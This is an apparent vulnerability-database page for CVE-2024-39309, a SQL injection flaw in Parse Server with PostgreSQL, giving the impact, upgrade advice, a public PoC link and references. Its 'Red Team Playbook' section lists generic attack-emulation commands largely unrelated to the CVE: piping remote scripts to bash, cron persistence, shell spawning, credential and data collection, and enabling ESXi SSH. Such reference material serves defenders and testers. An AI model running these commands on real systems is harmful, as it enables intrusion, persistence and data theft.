CVE-2024-39309
Overview
This vulnerability is a SQL injection flaw rooted in insufficient input validation within the PostgreSQL database adapter of Parse Server. The detection algorithm for malicious SQL payloads fails to properly sanitize or parameterize user inputs when Parse Server interacts with PostgreSQL, allowing crafted queries to manipulate backend database commands. The affected component is the database query processing layer of Parse Server versions prior to 6.5.7 and 7.1.0 when configured to use PostgreSQL.
Vulnerability Description
Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. A vulnerability in versions prior to 6.5.7 and 7.1.0 allows SQL injection when Parse Server is configured to use the PostgreSQL database. The algorithm to detect SQL injection has been improved in versions 6.5.7 and 7.1.0. No known workarounds are available.
Impact
An unauthenticated remote attacker can execute arbitrary SQL commands on the PostgreSQL backend, potentially leading to full database compromise including data exfiltration, modification, or deletion. This can result in complete backend data breach or service disruption. The attack requires network access to the Parse Server instance configured with PostgreSQL and no user interaction or privileges are necessary, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N.
Solution
Upgrade Parse Server to version 6.5.7 or later, or 7.1.0 or later, where the SQL injection detection algorithm has been improved. Refer to the official GitHub security advisory GHSA-c2hr-cqg6-8j6r and pull requests #9167 and #9168 for detailed patch information and instructions. No workarounds are available; applying the vendor-provided patches is the only recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Disclaimer
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GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
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HeavyGhost-le/POC_SQL_injection_in_Parse_Server_prior_6.5.7_-_7.1.0
Advanced PostgreSQL database enumeration tool exploiting CVE-2024-39309 in Parse Server - Comprehensive SQL injection ex...
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HeavyGhost-le | 1 | 1 | 2025-10-07 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
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Attack Vectors ML
MITRE ATT&CK Techniques (6)
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Red Team Playbook
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osascript -e 'tell application "Finder"' -e 'set destinationFolderPath to POSIX file "#{destination_path}"' -e 'set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"' -e 'set notesFolder to folder notesFolderPath' -e 'set notesFiles to {file "NoteStore.sqlite", file "NoteStore.sqlite-shm", file "NoteStore.sqlite-wal"} of notesFolder' -e 'repeat with aFile in notesFiles' -e 'duplicate aFile to folder destinationFolderPath with replacing' -e 'end' -e 'end tell'
cd $HOME
curl -O #{remote_url}/art
curl -O #{remote_url}/gta.db
curl -O #{remote_url}/sqlite_dump.sh
chmod +x sqlite_dump.sh
find . ! -executable -exec bash -c 'if [[ "$(head -c 15 {} | strings)" == "SQLite format 3" ]]; then echo "{}"; ./sqlite_dump.sh {}; fi' \;
$startingDirectory = "#{starting_directory}"
$outputZip = "#{output_zip_folder_path}"
$fileExtensionsString = "#{file_extensions}"
$fileExtensions = $fileExtensionsString -split ", "
New-Item -Type Directory $outputZip -ErrorAction Ignore -Force | Out-Null
Function Search-Files {
param (
[string]$directory
)
$files = Get-ChildItem -Path $directory -File -Recurse | Where-Object {
$fileExtensions -contains $_.Extension.ToLower()
}
return $files
}
$foundFiles = Search-Files -directory $startingDirectory
if ($foundFiles.Count -gt 0) {
$foundFilePaths = $foundFiles.FullName
Compress-Archive -Path $foundFilePaths -DestinationPath "$outputZip\data.zip"
Write-Host "Zip file created: $outputZip\data.zip"
} else {
Write-Host "No files found with the specified extensions."
}
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
Detection & Response Rules
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No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2024-39309 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
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https://github.com/parse-community/parse-server/security/advisories/GHSA-c2hr-cqg6-8j6r |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/parse-community/parse-server/pull/9167 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/parse-community/parse-server/pull/9168 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/parse-community/parse-server/commit/2edf1e4c0363af01e97a7fbc97694f851b7d1ff3 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/parse-community/parse-server/commit/f332d54577608c5ad927255e06d8c694e2e0ff5b |